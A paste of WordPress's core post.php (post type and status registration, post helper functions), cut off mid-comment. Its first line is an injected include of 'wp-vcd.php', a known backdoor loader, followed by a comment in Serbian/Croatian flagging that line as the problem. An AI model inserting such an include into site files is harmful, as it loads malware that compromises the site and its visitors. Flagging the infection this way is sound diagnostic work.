· 6 years ago · Nov 19, 2019, 06:00 AM
1<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?>
2//OVA PRVA LINIJA JE PROBLEM!!!
3
4
5<?php
6/**
7 * Core Post API
8 *
9 * @package WordPress
10 * @subpackage Post
11 */
12
13//
14// Post Type Registration
15//
16
17/**
18 * Creates the initial post types when 'init' action is fired.
19 *
20 * See {@see 'init'}.
21 *
22 * @since 2.9.0
23 */
24function create_initial_post_types() {
25 register_post_type( 'post', array(
26 'labels' => array(
27 'name_admin_bar' => _x( 'Post', 'add new from admin bar' ),
28 ),
29 'public' => true,
30 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
31 '_edit_link' => 'post.php?post=%d', /* internal use only. don't use this when registering your own post type. */
32 'capability_type' => 'post',
33 'map_meta_cap' => true,
34 'menu_position' => 5,
35 'hierarchical' => false,
36 'rewrite' => false,
37 'query_var' => false,
38 'delete_with_user' => true,
39 'supports' => array( 'title', 'editor', 'author', 'thumbnail', 'excerpt', 'trackbacks', 'custom-fields', 'comments', 'revisions', 'post-formats' ),
40 'show_in_rest' => true,
41 'rest_base' => 'posts',
42 'rest_controller_class' => 'WP_REST_Posts_Controller',
43 ) );
44
45 register_post_type( 'page', array(
46 'labels' => array(
47 'name_admin_bar' => _x( 'Page', 'add new from admin bar' ),
48 ),
49 'public' => true,
50 'publicly_queryable' => false,
51 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
52 '_edit_link' => 'post.php?post=%d', /* internal use only. don't use this when registering your own post type. */
53 'capability_type' => 'page',
54 'map_meta_cap' => true,
55 'menu_position' => 20,
56 'hierarchical' => true,
57 'rewrite' => false,
58 'query_var' => false,
59 'delete_with_user' => true,
60 'supports' => array( 'title', 'editor', 'author', 'thumbnail', 'page-attributes', 'custom-fields', 'comments', 'revisions' ),
61 'show_in_rest' => true,
62 'rest_base' => 'pages',
63 'rest_controller_class' => 'WP_REST_Posts_Controller',
64 ) );
65
66 register_post_type( 'attachment', array(
67 'labels' => array(
68 'name' => _x('Media', 'post type general name'),
69 'name_admin_bar' => _x( 'Media', 'add new from admin bar' ),
70 'add_new' => _x( 'Add New', 'add new media' ),
71 'edit_item' => __( 'Edit Media' ),
72 'view_item' => __( 'View Attachment Page' ),
73 'attributes' => __( 'Attachment Attributes' ),
74 ),
75 'public' => true,
76 'show_ui' => true,
77 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
78 '_edit_link' => 'post.php?post=%d', /* internal use only. don't use this when registering your own post type. */
79 'capability_type' => 'post',
80 'capabilities' => array(
81 'create_posts' => 'upload_files',
82 ),
83 'map_meta_cap' => true,
84 'hierarchical' => false,
85 'rewrite' => false,
86 'query_var' => false,
87 'show_in_nav_menus' => false,
88 'delete_with_user' => true,
89 'supports' => array( 'title', 'author', 'comments' ),
90 'show_in_rest' => true,
91 'rest_base' => 'media',
92 'rest_controller_class' => 'WP_REST_Attachments_Controller',
93 ) );
94 add_post_type_support( 'attachment:audio', 'thumbnail' );
95 add_post_type_support( 'attachment:video', 'thumbnail' );
96
97 register_post_type( 'revision', array(
98 'labels' => array(
99 'name' => __( 'Revisions' ),
100 'singular_name' => __( 'Revision' ),
101 ),
102 'public' => false,
103 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
104 '_edit_link' => 'revision.php?revision=%d', /* internal use only. don't use this when registering your own post type. */
105 'capability_type' => 'post',
106 'map_meta_cap' => true,
107 'hierarchical' => false,
108 'rewrite' => false,
109 'query_var' => false,
110 'can_export' => false,
111 'delete_with_user' => true,
112 'supports' => array( 'author' ),
113 ) );
114
115 register_post_type( 'nav_menu_item', array(
116 'labels' => array(
117 'name' => __( 'Navigation Menu Items' ),
118 'singular_name' => __( 'Navigation Menu Item' ),
119 ),
120 'public' => false,
121 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
122 'hierarchical' => false,
123 'rewrite' => false,
124 'delete_with_user' => false,
125 'query_var' => false,
126 ) );
127
128 register_post_type( 'custom_css', array(
129 'labels' => array(
130 'name' => __( 'Custom CSS' ),
131 'singular_name' => __( 'Custom CSS' ),
132 ),
133 'public' => false,
134 'hierarchical' => false,
135 'rewrite' => false,
136 'query_var' => false,
137 'delete_with_user' => false,
138 'can_export' => true,
139 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
140 'supports' => array( 'title', 'revisions' ),
141 'capabilities' => array(
142 'delete_posts' => 'edit_theme_options',
143 'delete_post' => 'edit_theme_options',
144 'delete_published_posts' => 'edit_theme_options',
145 'delete_private_posts' => 'edit_theme_options',
146 'delete_others_posts' => 'edit_theme_options',
147 'edit_post' => 'edit_css',
148 'edit_posts' => 'edit_css',
149 'edit_others_posts' => 'edit_css',
150 'edit_published_posts' => 'edit_css',
151 'read_post' => 'read',
152 'read_private_posts' => 'read',
153 'publish_posts' => 'edit_theme_options',
154 ),
155 ) );
156
157 register_post_type( 'customize_changeset', array(
158 'labels' => array(
159 'name' => _x( 'Changesets', 'post type general name' ),
160 'singular_name' => _x( 'Changeset', 'post type singular name' ),
161 'menu_name' => _x( 'Changesets', 'admin menu' ),
162 'name_admin_bar' => _x( 'Changeset', 'add new on admin bar' ),
163 'add_new' => _x( 'Add New', 'Customize Changeset' ),
164 'add_new_item' => __( 'Add New Changeset' ),
165 'new_item' => __( 'New Changeset' ),
166 'edit_item' => __( 'Edit Changeset' ),
167 'view_item' => __( 'View Changeset' ),
168 'all_items' => __( 'All Changesets' ),
169 'search_items' => __( 'Search Changesets' ),
170 'not_found' => __( 'No changesets found.' ),
171 'not_found_in_trash' => __( 'No changesets found in Trash.' ),
172 ),
173 'public' => false,
174 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
175 'map_meta_cap' => true,
176 'hierarchical' => false,
177 'rewrite' => false,
178 'query_var' => false,
179 'can_export' => false,
180 'delete_with_user' => false,
181 'supports' => array( 'title', 'author' ),
182 'capability_type' => 'customize_changeset',
183 'capabilities' => array(
184 'create_posts' => 'customize',
185 'delete_others_posts' => 'customize',
186 'delete_post' => 'customize',
187 'delete_posts' => 'customize',
188 'delete_private_posts' => 'customize',
189 'delete_published_posts' => 'customize',
190 'edit_others_posts' => 'customize',
191 'edit_post' => 'customize',
192 'edit_posts' => 'customize',
193 'edit_private_posts' => 'customize',
194 'edit_published_posts' => 'do_not_allow',
195 'publish_posts' => 'customize',
196 'read' => 'read',
197 'read_post' => 'customize',
198 'read_private_posts' => 'customize',
199 ),
200 ) );
201
202 register_post_type( 'oembed_cache', array(
203 'labels' => array(
204 'name' => __( 'oEmbed Responses' ),
205 'singular_name' => __( 'oEmbed Response' ),
206 ),
207 'public' => false,
208 'hierarchical' => false,
209 'rewrite' => false,
210 'query_var' => false,
211 'delete_with_user' => false,
212 'can_export' => false,
213 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
214 'supports' => array(),
215 ) );
216
217 register_post_type( 'user_request', array(
218 'labels' => array(
219 'name' => __( 'User Requests' ),
220 'singular_name' => __( 'User Request' ),
221 ),
222 'public' => false,
223 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
224 'hierarchical' => false,
225 'rewrite' => false,
226 'query_var' => false,
227 'can_export' => false,
228 'delete_with_user' => false,
229 'supports' => array(),
230 ) );
231
232 register_post_type(
233 'wp_block',
234 array(
235 'labels' => array(
236 'name' => _x( 'Blocks', 'post type general name' ),
237 'singular_name' => _x( 'Block', 'post type singular name' ),
238 'menu_name' => _x( 'Blocks', 'admin menu' ),
239 'name_admin_bar' => _x( 'Block', 'add new on admin bar' ),
240 'add_new' => _x( 'Add New', 'Block' ),
241 'add_new_item' => __( 'Add New Block' ),
242 'new_item' => __( 'New Block' ),
243 'edit_item' => __( 'Edit Block' ),
244 'view_item' => __( 'View Block' ),
245 'all_items' => __( 'All Blocks' ),
246 'search_items' => __( 'Search Blocks' ),
247 'not_found' => __( 'No blocks found.' ),
248 'not_found_in_trash' => __( 'No blocks found in Trash.' ),
249 'filter_items_list' => __( 'Filter blocks list' ),
250 'items_list_navigation' => __( 'Blocks list navigation' ),
251 'items_list' => __( 'Blocks list' ),
252 'item_published' => __( 'Block published.' ),
253 'item_published_privately' => __( 'Block published privately.' ),
254 'item_reverted_to_draft' => __( 'Block reverted to draft.' ),
255 'item_scheduled' => __( 'Block scheduled.' ),
256 'item_updated' => __( 'Block updated.' ),
257 ),
258 'public' => false,
259 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
260 'show_ui' => true,
261 'show_in_menu' => false,
262 'rewrite' => false,
263 'show_in_rest' => true,
264 'rest_base' => 'blocks',
265 'rest_controller_class' => 'WP_REST_Blocks_Controller',
266 'capability_type' => 'block',
267 'capabilities' => array(
268 // You need to be able to edit posts, in order to read blocks in their raw form.
269 'read' => 'edit_posts',
270 // You need to be able to publish posts, in order to create blocks.
271 'create_posts' => 'publish_posts',
272 'edit_published_posts' => 'edit_published_posts',
273 'delete_published_posts' => 'delete_published_posts',
274 'edit_others_posts' => 'edit_others_posts',
275 'delete_others_posts' => 'delete_others_posts',
276 ),
277 'map_meta_cap' => true,
278 'supports' => array(
279 'title',
280 'editor',
281 ),
282 )
283 );
284
285
286 register_post_status( 'publish', array(
287 'label' => _x( 'Published', 'post status' ),
288 'public' => true,
289 '_builtin' => true, /* internal use only. */
290 'label_count' => _n_noop( 'Published <span class="count">(%s)</span>', 'Published <span class="count">(%s)</span>' ),
291 ) );
292
293 register_post_status( 'future', array(
294 'label' => _x( 'Scheduled', 'post status' ),
295 'protected' => true,
296 '_builtin' => true, /* internal use only. */
297 'label_count' => _n_noop('Scheduled <span class="count">(%s)</span>', 'Scheduled <span class="count">(%s)</span>' ),
298 ) );
299
300 register_post_status( 'draft', array(
301 'label' => _x( 'Draft', 'post status' ),
302 'protected' => true,
303 '_builtin' => true, /* internal use only. */
304 'label_count' => _n_noop( 'Draft <span class="count">(%s)</span>', 'Drafts <span class="count">(%s)</span>' ),
305 ) );
306
307 register_post_status( 'pending', array(
308 'label' => _x( 'Pending', 'post status' ),
309 'protected' => true,
310 '_builtin' => true, /* internal use only. */
311 'label_count' => _n_noop( 'Pending <span class="count">(%s)</span>', 'Pending <span class="count">(%s)</span>' ),
312 ) );
313
314 register_post_status( 'private', array(
315 'label' => _x( 'Private', 'post status' ),
316 'private' => true,
317 '_builtin' => true, /* internal use only. */
318 'label_count' => _n_noop( 'Private <span class="count">(%s)</span>', 'Private <span class="count">(%s)</span>' ),
319 ) );
320
321 register_post_status( 'trash', array(
322 'label' => _x( 'Trash', 'post status' ),
323 'internal' => true,
324 '_builtin' => true, /* internal use only. */
325 'label_count' => _n_noop( 'Trash <span class="count">(%s)</span>', 'Trash <span class="count">(%s)</span>' ),
326 'show_in_admin_status_list' => true,
327 ) );
328
329 register_post_status( 'auto-draft', array(
330 'label' => 'auto-draft',
331 'internal' => true,
332 '_builtin' => true, /* internal use only. */
333 ) );
334
335 register_post_status( 'inherit', array(
336 'label' => 'inherit',
337 'internal' => true,
338 '_builtin' => true, /* internal use only. */
339 'exclude_from_search' => false,
340 ) );
341
342 register_post_status( 'request-pending', array(
343 'label' => _x( 'Pending', 'request status' ),
344 'internal' => true,
345 '_builtin' => true, /* internal use only. */
346 'exclude_from_search' => false,
347 ) );
348
349 register_post_status( 'request-confirmed', array(
350 'label' => _x( 'Confirmed', 'request status' ),
351 'internal' => true,
352 '_builtin' => true, /* internal use only. */
353 'exclude_from_search' => false,
354 ) );
355
356 register_post_status( 'request-failed', array(
357 'label' => _x( 'Failed', 'request status' ),
358 'internal' => true,
359 '_builtin' => true, /* internal use only. */
360 'exclude_from_search' => false,
361 ) );
362
363 register_post_status( 'request-completed', array(
364 'label' => _x( 'Completed', 'request status' ),
365 'internal' => true,
366 '_builtin' => true, /* internal use only. */
367 'exclude_from_search' => false,
368 ) );
369}
370
371/**
372 * Retrieve attached file path based on attachment ID.
373 *
374 * By default the path will go through the 'get_attached_file' filter, but
375 * passing a true to the $unfiltered argument of get_attached_file() will
376 * return the file path unfiltered.
377 *
378 * The function works by getting the single post meta name, named
379 * '_wp_attached_file' and returning it. This is a convenience function to
380 * prevent looking up the meta name and provide a mechanism for sending the
381 * attached filename through a filter.
382 *
383 * @since 2.0.0
384 *
385 * @param int $attachment_id Attachment ID.
386 * @param bool $unfiltered Optional. Whether to apply filters. Default false.
387 * @return string|false The file path to where the attached file should be, false otherwise.
388 */
389function get_attached_file( $attachment_id, $unfiltered = false ) {
390 $file = get_post_meta( $attachment_id, '_wp_attached_file', true );
391
392 // If the file is relative, prepend upload dir.
393 if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
394 $file = $uploads['basedir'] . "/$file";
395 }
396
397 if ( $unfiltered ) {
398 return $file;
399 }
400
401 /**
402 * Filters the attached file based on the given ID.
403 *
404 * @since 2.1.0
405 *
406 * @param string $file Path to attached file.
407 * @param int $attachment_id Attachment ID.
408 */
409 return apply_filters( 'get_attached_file', $file, $attachment_id );
410}
411
412/**
413 * Update attachment file path based on attachment ID.
414 *
415 * Used to update the file path of the attachment, which uses post meta name
416 * '_wp_attached_file' to store the path of the attachment.
417 *
418 * @since 2.1.0
419 *
420 * @param int $attachment_id Attachment ID.
421 * @param string $file File path for the attachment.
422 * @return bool True on success, false on failure.
423 */
424function update_attached_file( $attachment_id, $file ) {
425 if ( !get_post( $attachment_id ) )
426 return false;
427
428 /**
429 * Filters the path to the attached file to update.
430 *
431 * @since 2.1.0
432 *
433 * @param string $file Path to the attached file to update.
434 * @param int $attachment_id Attachment ID.
435 */
436 $file = apply_filters( 'update_attached_file', $file, $attachment_id );
437
438 if ( $file = _wp_relative_upload_path( $file ) )
439 return update_post_meta( $attachment_id, '_wp_attached_file', $file );
440 else
441 return delete_post_meta( $attachment_id, '_wp_attached_file' );
442}
443
444/**
445 * Return relative path to an uploaded file.
446 *
447 * The path is relative to the current upload dir.
448 *
449 * @since 2.9.0
450 *
451 * @param string $path Full path to the file.
452 * @return string Relative path on success, unchanged path on failure.
453 */
454function _wp_relative_upload_path( $path ) {
455 $new_path = $path;
456
457 $uploads = wp_get_upload_dir();
458 if ( 0 === strpos( $new_path, $uploads['basedir'] ) ) {
459 $new_path = str_replace( $uploads['basedir'], '', $new_path );
460 $new_path = ltrim( $new_path, '/' );
461 }
462
463 /**
464 * Filters the relative path to an uploaded file.
465 *
466 * @since 2.9.0
467 *
468 * @param string $new_path Relative path to the file.
469 * @param string $path Full path to the file.
470 */
471 return apply_filters( '_wp_relative_upload_path', $new_path, $path );
472}
473
474/**
475 * Retrieve all children of the post parent ID.
476 *
477 * Normally, without any enhancements, the children would apply to pages. In the
478 * context of the inner workings of WordPress, pages, posts, and attachments
479 * share the same table, so therefore the functionality could apply to any one
480 * of them. It is then noted that while this function does not work on posts, it
481 * does not mean that it won't work on posts. It is recommended that you know
482 * what context you wish to retrieve the children of.
483 *
484 * Attachments may also be made the child of a post, so if that is an accurate
485 * statement (which needs to be verified), it would then be possible to get
486 * all of the attachments for a post. Attachments have since changed since
487 * version 2.5, so this is most likely inaccurate, but serves generally as an
488 * example of what is possible.
489 *
490 * The arguments listed as defaults are for this function and also of the
491 * get_posts() function. The arguments are combined with the get_children defaults
492 * and are then passed to the get_posts() function, which accepts additional arguments.
493 * You can replace the defaults in this function, listed below and the additional
494 * arguments listed in the get_posts() function.
495 *
496 * The 'post_parent' is the most important argument and important attention
497 * needs to be paid to the $args parameter. If you pass either an object or an
498 * integer (number), then just the 'post_parent' is grabbed and everything else
499 * is lost. If you don't specify any arguments, then it is assumed that you are
500 * in The Loop and the post parent will be grabbed for from the current post.
501 *
502 * The 'post_parent' argument is the ID to get the children. The 'numberposts'
503 * is the amount of posts to retrieve that has a default of '-1', which is
504 * used to get all of the posts. Giving a number higher than 0 will only
505 * retrieve that amount of posts.
506 *
507 * The 'post_type' and 'post_status' arguments can be used to choose what
508 * criteria of posts to retrieve. The 'post_type' can be anything, but WordPress
509 * post types are 'post', 'pages', and 'attachments'. The 'post_status'
510 * argument will accept any post status within the write administration panels.
511 *
512 * @since 2.0.0
513 *
514 * @see get_posts()
515 * @todo Check validity of description.
516 *
517 * @global WP_Post $post
518 *
519 * @param mixed $args Optional. User defined arguments for replacing the defaults. Default empty.
520 * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
521 * a WP_Post object, an associative array, or a numeric array, respectively. Default OBJECT.
522 * @return array Array of children, where the type of each element is determined by $output parameter.
523 * Empty array on failure.
524 */
525function get_children( $args = '', $output = OBJECT ) {
526 $kids = array();
527 if ( empty( $args ) ) {
528 if ( isset( $GLOBALS['post'] ) ) {
529 $args = array('post_parent' => (int) $GLOBALS['post']->post_parent );
530 } else {
531 return $kids;
532 }
533 } elseif ( is_object( $args ) ) {
534 $args = array('post_parent' => (int) $args->post_parent );
535 } elseif ( is_numeric( $args ) ) {
536 $args = array('post_parent' => (int) $args);
537 }
538
539 $defaults = array(
540 'numberposts' => -1, 'post_type' => 'any',
541 'post_status' => 'any', 'post_parent' => 0,
542 );
543
544 $r = wp_parse_args( $args, $defaults );
545
546 $children = get_posts( $r );
547
548 if ( ! $children )
549 return $kids;
550
551 if ( ! empty( $r['fields'] ) )
552 return $children;
553
554 update_post_cache($children);
555
556 foreach ( $children as $key => $child )
557 $kids[$child->ID] = $children[$key];
558
559 if ( $output == OBJECT ) {
560 return $kids;
561 } elseif ( $output == ARRAY_A ) {
562 $weeuns = array();
563 foreach ( (array) $kids as $kid ) {
564 $weeuns[$kid->ID] = get_object_vars($kids[$kid->ID]);
565 }
566 return $weeuns;
567 } elseif ( $output == ARRAY_N ) {
568 $babes = array();
569 foreach ( (array) $kids as $kid ) {
570 $babes[$kid->ID] = array_values(get_object_vars($kids[$kid->ID]));
571 }
572 return $babes;
573 } else {
574 return $kids;
575 }
576}
577
578/**
579 * Get extended entry info (<!--more-->).
580 *
581 * There should not be any space after the second dash and before the word
582 * 'more'. There can be text or space(s) after the word 'more', but won't be
583 * referenced.
584 *
585 * The returned array has 'main', 'extended', and 'more_text' keys. Main has the text before
586 * the `<!--more-->`. The 'extended' key has the content after the
587 * `<!--more-->` comment. The 'more_text' key has the custom "Read More" text.
588 *
589 * @since 1.0.0
590 *
591 * @param string $post Post content.
592 * @return array Post before ('main'), after ('extended'), and custom read more ('more_text').
593 */
594function get_extended( $post ) {
595 //Match the new style more links.
596 if ( preg_match('/<!--more(.*?)?-->/', $post, $matches) ) {
597 list($main, $extended) = explode($matches[0], $post, 2);
598 $more_text = $matches[1];
599 } else {
600 $main = $post;
601 $extended = '';
602 $more_text = '';
603 }
604
605 // leading and trailing whitespace.
606 $main = preg_replace('/^[\s]*(.*)[\s]*$/', '\\1', $main);
607 $extended = preg_replace('/^[\s]*(.*)[\s]*$/', '\\1', $extended);
608 $more_text = preg_replace('/^[\s]*(.*)[\s]*$/', '\\1', $more_text);
609
610 return array( 'main' => $main, 'extended' => $extended, 'more_text' => $more_text );
611}
612
613/**
614 * Retrieves post data given a post ID or post object.
615 *
616 * See sanitize_post() for optional $filter values. Also, the parameter
617 * `$post`, must be given as a variable, since it is passed by reference.
618 *
619 * @since 1.5.1
620 *
621 * @global WP_Post $post
622 *
623 * @param int|WP_Post|null $post Optional. Post ID or post object. Defaults to global $post.
624 * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
625 * a WP_Post object, an associative array, or a numeric array, respectively. Default OBJECT.
626 * @param string $filter Optional. Type of filter to apply. Accepts 'raw', 'edit', 'db',
627 * or 'display'. Default 'raw'.
628 * @return WP_Post|array|null Type corresponding to $output on success or null on failure.
629 * When $output is OBJECT, a `WP_Post` instance is returned.
630 */
631function get_post( $post = null, $output = OBJECT, $filter = 'raw' ) {
632 if ( empty( $post ) && isset( $GLOBALS['post'] ) )
633 $post = $GLOBALS['post'];
634
635 if ( $post instanceof WP_Post ) {
636 $_post = $post;
637 } elseif ( is_object( $post ) ) {
638 if ( empty( $post->filter ) ) {
639 $_post = sanitize_post( $post, 'raw' );
640 $_post = new WP_Post( $_post );
641 } elseif ( 'raw' == $post->filter ) {
642 $_post = new WP_Post( $post );
643 } else {
644 $_post = WP_Post::get_instance( $post->ID );
645 }
646 } else {
647 $_post = WP_Post::get_instance( $post );
648 }
649
650 if ( ! $_post )
651 return null;
652
653 $_post = $_post->filter( $filter );
654
655 if ( $output == ARRAY_A )
656 return $_post->to_array();
657 elseif ( $output == ARRAY_N )
658 return array_values( $_post->to_array() );
659
660 return $_post;
661}
662
663/**
664 * Retrieve ancestors of a post.
665 *
666 * @since 2.5.0
667 *
668 * @param int|WP_Post $post Post ID or post object.
669 * @return array Ancestor IDs or empty array if none are found.
670 */
671function get_post_ancestors( $post ) {
672 $post = get_post( $post );
673
674 if ( ! $post || empty( $post->post_parent ) || $post->post_parent == $post->ID )
675 return array();
676
677 $ancestors = array();
678
679 $id = $ancestors[] = $post->post_parent;
680
681 while ( $ancestor = get_post( $id ) ) {
682 // Loop detection: If the ancestor has been seen before, break.
683 if ( empty( $ancestor->post_parent ) || ( $ancestor->post_parent == $post->ID ) || in_array( $ancestor->post_parent, $ancestors ) )
684 break;
685
686 $id = $ancestors[] = $ancestor->post_parent;
687 }
688
689 return $ancestors;
690}
691
692/**
693 * Retrieve data from a post field based on Post ID.
694 *
695 * Examples of the post field will be, 'post_type', 'post_status', 'post_content',
696 * etc and based off of the post object property or key names.
697 *
698 * The context values are based off of the taxonomy filter functions and
699 * supported values are found within those functions.
700 *
701 * @since 2.3.0
702 * @since 4.5.0 The `$post` parameter was made optional.
703 *
704 * @see sanitize_post_field()
705 *
706 * @param string $field Post field name.
707 * @param int|WP_Post $post Optional. Post ID or post object. Defaults to current post.
708 * @param string $context Optional. How to filter the field. Accepts 'raw', 'edit', 'db',
709 * or 'display'. Default 'display'.
710 * @return string The value of the post field on success, empty string on failure.
711 */
712function get_post_field( $field, $post = null, $context = 'display' ) {
713 $post = get_post( $post );
714
715 if ( !$post )
716 return '';
717
718 if ( !isset($post->$field) )
719 return '';
720
721 return sanitize_post_field($field, $post->$field, $post->ID, $context);
722}
723
724/**
725 * Retrieve the mime type of an attachment based on the ID.
726 *
727 * This function can be used with any post type, but it makes more sense with
728 * attachments.
729 *
730 * @since 2.0.0
731 *
732 * @param int|WP_Post $ID Optional. Post ID or post object. Default empty.
733 * @return string|false The mime type on success, false on failure.
734 */
735function get_post_mime_type( $ID = '' ) {
736 $post = get_post($ID);
737
738 if ( is_object($post) )
739 return $post->post_mime_type;
740
741 return false;
742}
743
744/**
745 * Retrieve the post status based on the Post ID.
746 *
747 * If the post ID is of an attachment, then the parent post status will be given
748 * instead.
749 *
750 * @since 2.0.0
751 *
752 * @param int|WP_Post $ID Optional. Post ID or post object. Default empty.
753 * @return string|false Post status on success, false on failure.
754 */
755function get_post_status( $ID = '' ) {
756 $post = get_post($ID);
757
758 if ( !is_object($post) )
759 return false;
760
761 if ( 'attachment' == $post->post_type ) {
762 if ( 'private' == $post->post_status )
763 return 'private';
764
765 // Unattached attachments are assumed to be published.
766 if ( ( 'inherit' == $post->post_status ) && ( 0 == $post->post_parent) )
767 return 'publish';
768
769 // Inherit status from the parent.
770 if ( $post->post_parent && ( $post->ID != $post->post_parent ) ) {
771 $parent_post_status = get_post_status( $post->post_parent );
772 if ( 'trash' == $parent_post_status ) {
773 return get_post_meta( $post->post_parent, '_wp_trash_meta_status', true );
774 } else {
775 return $parent_post_status;
776 }
777 }
778
779 }
780
781 /**
782 * Filters the post status.
783 *
784 * @since 4.4.0
785 *
786 * @param string $post_status The post status.
787 * @param WP_Post $post The post object.
788 */
789 return apply_filters( 'get_post_status', $post->post_status, $post );
790}
791
792/**
793 * Retrieve all of the WordPress supported post statuses.
794 *
795 * Posts have a limited set of valid status values, this provides the
796 * post_status values and descriptions.
797 *
798 * @since 2.5.0
799 *
800 * @return array List of post statuses.
801 */
802function get_post_statuses() {
803 $status = array(
804 'draft' => __( 'Draft' ),
805 'pending' => __( 'Pending Review' ),
806 'private' => __( 'Private' ),
807 'publish' => __( 'Published' )
808 );
809
810 return $status;
811}
812
813/**
814 * Retrieve all of the WordPress support page statuses.
815 *
816 * Pages have a limited set of valid status values, this provides the
817 * post_status values and descriptions.
818 *
819 * @since 2.5.0
820 *
821 * @return array List of page statuses.
822 */
823function get_page_statuses() {
824 $status = array(
825 'draft' => __( 'Draft' ),
826 'private' => __( 'Private' ),
827 'publish' => __( 'Published' )
828 );
829
830 return $status;
831}
832
833/**
834 * Return statuses for privacy requests.
835 *
836 * @since 4.9.6
837 *
838 * @return array
839 */
840function _wp_privacy_statuses() {
841 return array(
842 'request-pending' => __( 'Pending' ), // Pending confirmation from user.
843 'request-confirmed' => __( 'Confirmed' ), // User has confirmed the action.
844 'request-failed' => __( 'Failed' ), // User failed to confirm the action.
845 'request-completed' => __( 'Completed' ), // Admin has handled the request.
846 );
847}
848
849/**
850 * Register a post status. Do not use before init.
851 *
852 * A simple function for creating or modifying a post status based on the
853 * parameters given. The function will accept an array (second optional
854 * parameter), along with a string for the post status name.
855 *
856 * Arguments prefixed with an _underscore shouldn't be used by plugins and themes.
857 *
858 * @since 3.0.0
859 * @global array $wp_post_statuses Inserts new post status object into the list
860 *
861 * @param string $post_status Name of the post status.
862 * @param array|string $args {
863 * Optional. Array or string of post status arguments.
864 *
865 * @type bool|string $label A descriptive name for the post status marked
866 * for translation. Defaults to value of $post_status.
867 * @type bool|array $label_count Descriptive text to use for nooped plurals.
868 * Default array of $label, twice
869 * @type bool $exclude_from_search Whether to exclude posts with this post status
870 * from search results. Default is value of $internal.
871 * @type bool $_builtin Whether the status is built-in. Core-use only.
872 * Default false.
873 * @type bool $public Whether posts of this status should be shown
874 * in the front end of the site. Default false.
875 * @type bool $internal Whether the status is for internal use only.
876 * Default false.
877 * @type bool $protected Whether posts with this status should be protected.
878 * Default false.
879 * @type bool $private Whether posts with this status should be private.
880 * Default false.
881 * @type bool $publicly_queryable Whether posts with this status should be publicly-
882 * queryable. Default is value of $public.
883 * @type bool $show_in_admin_all_list Whether to include posts in the edit listing for
884 * their post type. Default is value of $internal.
885 * @type bool $show_in_admin_status_list Show in the list of statuses with post counts at
886 * the top of the edit listings,
887 * e.g. All (12) | Published (9) | My Custom Status (2)
888 * Default is value of $internal.
889 * }
890 * @return object
891 */
892function register_post_status( $post_status, $args = array() ) {
893 global $wp_post_statuses;
894
895 if (!is_array($wp_post_statuses))
896 $wp_post_statuses = array();
897
898 // Args prefixed with an underscore are reserved for internal use.
899 $defaults = array(
900 'label' => false,
901 'label_count' => false,
902 'exclude_from_search' => null,
903 '_builtin' => false,
904 'public' => null,
905 'internal' => null,
906 'protected' => null,
907 'private' => null,
908 'publicly_queryable' => null,
909 'show_in_admin_status_list' => null,
910 'show_in_admin_all_list' => null,
911 );
912 $args = wp_parse_args($args, $defaults);
913 $args = (object) $args;
914
915 $post_status = sanitize_key($post_status);
916 $args->name = $post_status;
917
918 // Set various defaults.
919 if ( null === $args->public && null === $args->internal && null === $args->protected && null === $args->private )
920 $args->internal = true;
921
922 if ( null === $args->public )
923 $args->public = false;
924
925 if ( null === $args->private )
926 $args->private = false;
927
928 if ( null === $args->protected )
929 $args->protected = false;
930
931 if ( null === $args->internal )
932 $args->internal = false;
933
934 if ( null === $args->publicly_queryable )
935 $args->publicly_queryable = $args->public;
936
937 if ( null === $args->exclude_from_search )
938 $args->exclude_from_search = $args->internal;
939
940 if ( null === $args->show_in_admin_all_list )
941 $args->show_in_admin_all_list = !$args->internal;
942
943 if ( null === $args->show_in_admin_status_list )
944 $args->show_in_admin_status_list = !$args->internal;
945
946 if ( false === $args->label )
947 $args->label = $post_status;
948
949 if ( false === $args->label_count )
950 $args->label_count = _n_noop( $args->label, $args->label );
951
952 $wp_post_statuses[$post_status] = $args;
953
954 return $args;
955}
956
957/**
958 * Retrieve a post status object by name.
959 *
960 * @since 3.0.0
961 *
962 * @global array $wp_post_statuses List of post statuses.
963 *
964 * @see register_post_status()
965 *
966 * @param string $post_status The name of a registered post status.
967 * @return object|null A post status object.
968 */
969function get_post_status_object( $post_status ) {
970 global $wp_post_statuses;
971
972 if ( empty($wp_post_statuses[$post_status]) )
973 return null;
974
975 return $wp_post_statuses[$post_status];
976}
977
978/**
979 * Get a list of post statuses.
980 *
981 * @since 3.0.0
982 *
983 * @global array $wp_post_statuses List of post statuses.
984 *
985 * @see register_post_status()
986 *
987 * @param array|string $args Optional. Array or string of post status arguments to compare against
988 * properties of the global `$wp_post_statuses objects`. Default empty array.
989 * @param string $output Optional. The type of output to return, either 'names' or 'objects'. Default 'names'.
990 * @param string $operator Optional. The logical operation to perform. 'or' means only one element
991 * from the array needs to match; 'and' means all elements must match.
992 * Default 'and'.
993 * @return array A list of post status names or objects.
994 */
995function get_post_stati( $args = array(), $output = 'names', $operator = 'and' ) {
996 global $wp_post_statuses;
997
998 $field = ('names' == $output) ? 'name' : false;
999
1000 return wp_filter_object_list($wp_post_statuses, $args, $operator, $field);
1001}
1002
1003/**
1004 * Whether the post type is hierarchical.
1005 *
1006 * A false return value might also mean that the post type does not exist.
1007 *
1008 * @since 3.0.0
1009 *
1010 * @see get_post_type_object()
1011 *
1012 * @param string $post_type Post type name
1013 * @return bool Whether post type is hierarchical.
1014 */
1015function is_post_type_hierarchical( $post_type ) {
1016 if ( ! post_type_exists( $post_type ) )
1017 return false;
1018
1019 $post_type = get_post_type_object( $post_type );
1020 return $post_type->hierarchical;
1021}
1022
1023/**
1024 * Determines whether a post type is registered.
1025 *
1026 * For more information on this and similar theme functions, check out
